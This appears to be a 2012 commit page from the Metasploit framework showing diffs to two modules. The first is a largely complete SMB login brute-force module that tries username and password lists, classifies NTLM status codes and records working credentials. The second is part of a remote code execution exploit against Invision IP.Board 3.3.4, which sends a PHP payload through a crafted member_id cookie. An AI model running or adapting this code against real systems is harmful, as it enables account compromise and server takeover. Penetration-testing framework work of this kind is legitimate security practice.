Merge branch 'rapid7' into tasos-r7-web-modules

unstable
James Lee 2012-11-14 17:41:27 -06:00
commit 35a7999b4e
2 changed files with 172 additions and 179 deletions

View File

@ -5,7 +5,6 @@
# http://metasploit.com/ # http://metasploit.com/
## ##
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
@ -32,17 +31,29 @@ class Metasploit3 < Msf::Auxiliary
and connected to a database this module will record successful and connected to a database this module will record successful
logins and hosts so you can track your access. logins and hosts so you can track your access.
}, },
'Author' => 'tebo <tebo [at] attackresearch [dot] com>', 'Author' => [
'tebo <tebo [at] attackresearch [dot] com>', # Original
'Ben Campbell <eat_meatballs [at] hotmail.co.uk>' # Refactoring
],
'References' => 'References' =>
[ [
[ 'CVE', '1999-0506'] # Weak password [ 'CVE', '1999-0506'], # Weak password
], ],
'License' => MSF_LICENSE 'License' => MSF_LICENSE
) )
deregister_options('RHOST','USERNAME','PASSWORD') deregister_options('RHOST','USERNAME','PASSWORD')
@accepts_bogus_domains = []
@accepts_guest_logins = {} @accepts_guest_logins = {}
@correct_credentials_status_codes = ["STATUS_INVALID_LOGON_HOURS",
"STATUS_INVALID_WORKSTATION",
"STATUS_ACCOUNT_RESTRICTION",
"STATUS_ACCOUNT_EXPIRED",
"STATUS_ACCOUNT_DISABLED",
"STATUS_ACCOUNT_RESTRICTION",
"STATUS_PASSWORD_EXPIRED",
"STATUS_PASSWORD_MUST_CHANGE",
"STATUS_LOGON_TYPE_NOT_GRANTED"]
# These are normally advanced options, but for this module they have a # These are normally advanced options, but for this module they have a
# more active role, so make them regular options. # more active role, so make them regular options.
@ -50,39 +61,32 @@ class Metasploit3 < Msf::Auxiliary
[ [
OptString.new('SMBPass', [ false, "SMB Password" ]), OptString.new('SMBPass', [ false, "SMB Password" ]),
OptString.new('SMBUser', [ false, "SMB Username" ]), OptString.new('SMBUser', [ false, "SMB Username" ]),
OptString.new('SMBDomain', [ false, "SMB Domain", 'WORKGROUP']), OptString.new('SMBDomain', [ false, "SMB Domain", '']),
OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true]), OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true]),
OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false]), OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false]),
], self.class) ], self.class)
end end
def run_host(ip) def run_host(ip)
print_brute(:level => :vstatus, :ip => ip, :msg => "Starting SMB login bruteforce") print_brute(:level => :vstatus, :ip => ip, :msg => "Starting SMB login bruteforce")
if accepts_bogus_logins? domain = datastore['SMBDomain'] || ""
if accepts_bogus_logins?(domain)
print_error("#{smbhost} - This system accepts authentication with any credentials, brute force is ineffective.") print_error("#{smbhost} - This system accepts authentication with any credentials, brute force is ineffective.")
return return
end end
begin unless datastore['RECORD_GUEST']
if accepts_guest_logins? if accepts_guest_logins?(domain)
print_error("#{ip} - This system allows guest sessions with any credentials, these instances will not be reported.") print_status("#{ip} - This system allows guest sessions with any credentials, these instances will not be recorded.")
end end
end unless datastore['RECORD_GUEST'] end
begin begin
each_user_pass do |user, pass| each_user_pass do |user, pass|
result = try_user_pass(user, pass) result = try_user_pass(domain, user, pass)
if result == :next_user
unless user == user.downcase
result = try_user_pass(user.downcase, pass)
if result == :next_user
print_status("Username is case insensitive")
user = user.downcase
end
end
report_creds(user,pass) if @accepts_guest_logins.select{ |g_host, g_creds| g_host == ip and g_creds == [user,pass] }.empty?
end
end end
rescue ::Rex::ConnectionError rescue ::Rex::ConnectionError
nil nil
@ -90,23 +94,47 @@ class Metasploit3 < Msf::Auxiliary
end end
def accepts_guest_logins? def check_login_status(domain, user, pass)
guest = false
orig_user,orig_pass = datastore['SMBUser'],datastore['SMBPass']
datastore["SMBUser"] = Rex::Text.rand_text_alpha(8)
datastore["SMBPass"] = Rex::Text.rand_text_alpha(8)
# Connection problems are dealt with at a higher level
connect() connect()
status_code = ""
begin begin
smb_login() simple.login( datastore['SMBName'],
rescue ::Rex::Proto::SMB::Exceptions::LoginError user,
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode pass,
domain,
datastore['SMB::VerifySignature'],
datastore['NTLM::UseNTLMv2'],
datastore['NTLM::UseNTLM2_session'],
datastore['NTLM::SendLM'],
datastore['NTLM::UseLMKey'],
datastore['NTLM::SendNTLM'],
datastore['SMB::Native_OS'],
datastore['SMB::Native_LM'],
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost})
# Windows SMB will return an error code during Session Setup, but nix Samba requires a Tree Connect:
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
status_code = 'STATUS_SUCCESS'
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
status_code = e.get_error(e.error_code)
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
status_code = e.error_reason
ensure
disconnect()
end end
begin return status_code
guest = true end
# If login is succesful and auth_user is unset
# the login was as a guest user.
def accepts_guest_logins?(domain)
guest = false
user = Rex::Text.rand_text_alpha(8)
pass = Rex::Text.rand_text_alpha(8)
guest_login = ((check_login_status(domain, user, pass) == 'STATUS_SUCCESS') && simple.client.auth_user.nil?)
if guest_login
@accepts_guest_logins['rhost'] ||=[] unless @accepts_guest_logins.include?(rhost) @accepts_guest_logins['rhost'] ||=[] unless @accepts_guest_logins.include?(rhost)
report_note( report_note(
:host => rhost, :host => rhost,
@ -117,180 +145,131 @@ class Metasploit3 < Msf::Auxiliary
:data => 'accepts guest login from any account', :data => 'accepts guest login from any account',
:update => :unique_data :update => :unique_data
) )
end unless(simple.client.auth_user) end
disconnect()
datastore['SMBUser'],datastore['SMBPass'] = orig_user,orig_pass
return guest
return guest_login
end end
# If login is successul and auth_user is set
def accepts_bogus_logins? # then bogus creds are accepted.
orig_user,orig_pass = datastore['SMBUser'],datastore['SMBPass'] def accepts_bogus_logins?(domain)
datastore["SMBUser"] = Rex::Text.rand_text_alpha(8) user = Rex::Text.rand_text_alpha(8)
datastore["SMBPass"] = Rex::Text.rand_text_alpha(8) pass = Rex::Text.rand_text_alpha(8)
bogus_login = ((check_login_status(domain, user, pass) == 'STATUS_SUCCESS') && !simple.client.auth_user.nil?)
# Connection problems are dealt with at a higher level return bogus_login
connect()
begin
smb_login()
rescue ::Rex::Proto::SMB::Exceptions::LoginError
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
end
disconnect()
datastore['SMBUser'],datastore['SMBPass'] = orig_user,orig_pass
return simple.client.auth_user ? true : false
end end
def accepts_bogus_domains?(addr) # This logic is not universal ie a local account will not care about workgroup
if @accepts_bogus_domains.include? addr # but remote domain authentication will so check each instance
return true def accepts_bogus_domains?(user, pass, rhost)
end domain = Rex::Text.rand_text_alpha(8)
orig_domain = datastore['SMBDomain'] status = check_login_status(domain, user, pass)
datastore['SMBDomain'] = Rex::Text.rand_text_alpha(8)
connect() bogus_domain = valid_credentials?(status)
begin if bogus_domain
smb_login() vprint_status "Domain is ignored"
rescue ::Rex::Proto::SMB::Exceptions::LoginError
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
end end
disconnect()
datastore['SMBDomain'] = orig_domain
if simple.client.auth_user return valid_credentials?(status)
@accepts_bogus_domains << addr
return true
else
return false
end
end end
def try_user_pass(user, pass) def valid_credentials?(status)
# The SMB mixins require the datastores "SMBUser" and return (status == "STATUS_SUCCESS" || @correct_credentials_status_codes.include?(status))
# "SMBPass" to be populated. end
datastore["SMBPass"] = pass
orig_domain = datastore["SMBDomain"] def try_user_pass(domain, user, pass)
# Note that unless PRESERVE_DOMAINS is true, we're more # Note that unless PRESERVE_DOMAINS is true, we're more
# than happy to pass illegal usernames that contain # than happy to pass illegal usernames that contain
# slashes. # slashes.
if datastore["PRESERVE_DOMAINS"] if datastore["PRESERVE_DOMAINS"]
d,u = domain_username_split(user) d,u = domain_username_split(user)
datastore["SMBUser"] = u.to_s.gsub(/<BLANK>/i,"") user = u
datastore["SMBDomain"] = d if d domain = d if d
else
datastore["SMBUser"] = user.to_s.gsub(/<BLANK>/i,"")
end end
# Connection problems are dealt with at a higher level user = user.to_s.gsub(/<BLANK>/i,"")
connect() status = check_login_status(domain, user, pass)
begin # Match original output message
smb_login() if domain.empty? || domain == "."
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e domain_part = ""
if e.get_error(e.error_code) == "STATUS_ACCESS_DENIED" else
print_error("#{smbhost} - FAILED LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass} (#{e.get_error(e.error_code)})") domain_part = " \\\\#{domain}"
disconnect() end
datastore["SMBDomain"] = orig_domain output_message = "#{rhost}:#{rport}#{domain_part} - %s (#{smb_peer_os}) #{user} : #{pass} [#{status}]"
return :skip_user
case status
when 'STATUS_SUCCESS'
# Auth user indicates if the login was as a guest or not
if(simple.client.auth_user)
print_good(output_message % "SUCCESSFUL LOGIN")
validuser_case_sensitive?(domain, user, pass)
report_creds(domain,user,pass,true)
else else
raise e if datastore['RECORD_GUEST']
print_status(output_message % "GUEST LOGIN")
report_creds(domain,user,pass,true)
elsif datastore['VERBOSE']
print_status(output_message % "GUEST LOGIN")
end
end end
when *@correct_credentials_status_codes
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e print_status(output_message % "FAILED LOGIN, VALID CREDENTIALS" )
report_creds(domain,user,pass,false)
case e.error_reason validuser_case_sensitive?(domain, user, pass)
when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED' when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED'
# Nothing interesting vprint_error(output_message % "FAILED LOGIN")
vprint_error("#{smbhost} - FAILED LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass} (#{e.error_reason})")
disconnect()
datastore["SMBDomain"] = orig_domain
return
when 'STATUS_ACCOUNT_DISABLED'
report_note(
:host => rhost,
:proto => 'tcp',
:sname => 'smb',
:port => datastore['RPORT'],
:type => 'smb.account.info',
:data => {:user => user, :status => "disabled"},
:update => :unique_data
)
when 'STATUS_PASSWORD_EXPIRED'
report_note(
:host => rhost,
:proto => 'tcp',
:sname => 'smb',
:port => datastore['RPORT'],
:type => 'smb.account.info',
:data => {:user => user, :status => "expired password"},
:update => :unique_data
)
when 'STATUS_ACCOUNT_LOCKED_OUT'
report_note(
:host => rhost,
:proto => 'tcp',
:sname => 'smb',
:port => datastore['RPORT'],
:type => 'smb.account.info',
:data => {:user => user, :status => "locked out"},
:update => :unique_data
)
end
print_error("#{smbhost} - FAILED LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass} (#{e.error_reason})")
disconnect()
datastore["SMBDomain"] = orig_domain
return :skip_user # These reasons are sufficient to stop trying.
end
if(simple.client.auth_user)
print_status("Auth-User: #{simple.client.auth_user.inspect}")
print_good("#{smbhost} - SUCCESSFUL LOGIN (#{smb_peer_os}) '#{splitname(user)}' : '#{pass}'")
else else
print_status("#{rhost} - GUEST LOGIN (#{smb_peer_os}) #{splitname(user)} : #{pass}") vprint_error(output_message % "FAILED LOGIN")
@accepts_guest_logins[rhost] = [user, pass] unless datastore['RECORD_GUEST']
end end
disconnect()
# If we get here then we've found the password for this user, move on
# to the next one.
datastore["SMBDomain"] = orig_domain
return :next_user
end end
def report_creds(user,pass) def validuser_case_sensitive?(domain, user, pass)
if user == user.downcase
user = user.upcase
else
user = user.downcase
end
status = check_login_status(domain, user, pass)
case_insensitive = valid_credentials?(status)
if case_insensitive
vprint_status("Username is case insensitive")
end
return case_insensitive
end
def note_creds(domain,user,pass,reason)
report_note(
:host => rhost,
:proto => 'tcp',
:sname => 'smb',
:port => datastore['RPORT'],
:type => 'smb.account.info',
:data => {:user => user, :pass => pass, :status => reason},
:update => :unique_data
)
end
def report_creds(domain,user,pass,active)
login_name = ""
if accepts_bogus_domains?(user,pass,rhost)
login_name = user
else
login_name = "#{domain}\\#{user}"
end
report_hash = { report_hash = {
:host => rhost, :host => rhost,
:port => datastore['RPORT'], :port => datastore['RPORT'],
:sname => 'smb', :sname => 'smb',
:user => login_name,
:pass => pass, :pass => pass,
:source_type => "user_supplied", :source_type => "user_supplied",
:active => true :active => active
} }
if accepts_bogus_domains? rhost
if datastore["PRESERVE_DOMAINS"]
d,u = domain_username_split(user)
report_hash[:user] = u
else
report_hash[:user] = "#{datastore["SMBUser"]}"
end
else
if datastore["PRESERVE_DOMAINS"]
d,u = domain_username_split(user)
report_hash[:user] = "#{datastore["SMBDomain"]}/#{u}"
else
report_hash[:user] = "#{datastore["SMBDomain"]}/#{datastore["SMBUser"]}"
end
end
if pass =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ if pass =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
report_hash.merge!({:type => 'smb_hash'}) report_hash.merge!({:type => 'smb_hash'})
@ -299,5 +278,4 @@ class Metasploit3 < Msf::Auxiliary
end end
report_auth_info(report_hash) report_auth_info(report_hash)
end end
end end

View File

@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote
The exploit has been tested successfully on Invision IP.Board 3.3.4. The exploit has been tested successfully on Invision IP.Board 3.3.4.
}, },
'Author' => 'Author' =>
[ [
'EgiX', # Vulnerability discovery and PoC 'EgiX', # Vulnerability discovery and PoC
'juan vazquez', # Metasploit module 'juan vazquez', # Metasploit module
@ -74,6 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
return Exploit::CheckCode::Unknown if not res return Exploit::CheckCode::Unknown if not res
version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten
return Exploit::CheckCode::Safe if version.empty?
version = version.map {|e| e.to_i} version = version.map {|e| e.to_i}
# We only want major version 3 # We only want major version 3
@ -109,6 +110,20 @@ class Metasploit3 < Msf::Exploit::Remote
@upload_php = rand_text_alpha(rand(4) + 4) + ".php" @upload_php = rand_text_alpha(rand(4) + 4) + ".php"
@peer = "#{rhost}:#{rport}" @peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Checking for cookie prefix")
res = send_request_cgi(
{
'uri' => "#{base}index.php",
'method' => 'GET'
})
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/
print_status("#{@peer} - Cookie prefix #{$1} found")
cookie_prefix = $1
else
cookie_prefix = ""
end
# get_write_exec_payload uses a function, which limits our ability to support # get_write_exec_payload uses a function, which limits our ability to support
# Linux payloads, because that requires a space: # Linux payloads, because that requires a space:
# function my_cmd # function my_cmd
@ -128,7 +143,7 @@ class Metasploit3 < Msf::Exploit::Remote
{ {
'uri' => "#{base}index.php?#{php_payload}", 'uri' => "#{base}index.php?#{php_payload}",
'method' => 'GET', 'method' => 'GET',
'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}" 'cookie' => "#{cookie_prefix}member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
}) })
if not res or res.code != 200 if not res or res.code != 200